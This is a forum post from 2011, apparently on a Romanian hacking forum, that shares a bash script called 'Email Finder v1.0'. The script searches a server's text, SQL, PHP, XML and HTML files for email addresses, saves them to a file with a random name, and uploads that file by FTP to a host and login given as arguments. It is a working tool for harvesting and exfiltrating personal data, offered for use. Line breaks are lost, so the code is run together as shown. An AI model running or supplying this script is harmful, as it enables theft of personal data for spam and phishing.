PuRiCeL Posted December 11, 2011 Report Posted December 11, 2011 (edited) #!/bin/bash# Email Finder v1.0echo "$0 ftp.wn.com wn password"rm -rf emailslocate *.txt | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emailslocate *.sql | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emailslocate *.php | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emailslocate *.xml | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emailslocate *.html | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emailslocate *.htm | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emailsif [ -n "$1" ]then str0="$1"else str0="$$"fiPOS=2LEN=8str1=$( echo "$str0" | md5sum | md5sum )randstring="${str1:$POS:$LEN}"mv emails "$randstring"echo "[+] Urcam pe ftp [+]"ftp -inv $1<<ENDFTPuser $2 $3put "$randstring"byeENDFTPecho "[+] Gata [+]"Info: Cauta mailurile de pe server apoi le urca pe ftp. Edited April 26, 2012 by PuRiCeL Quote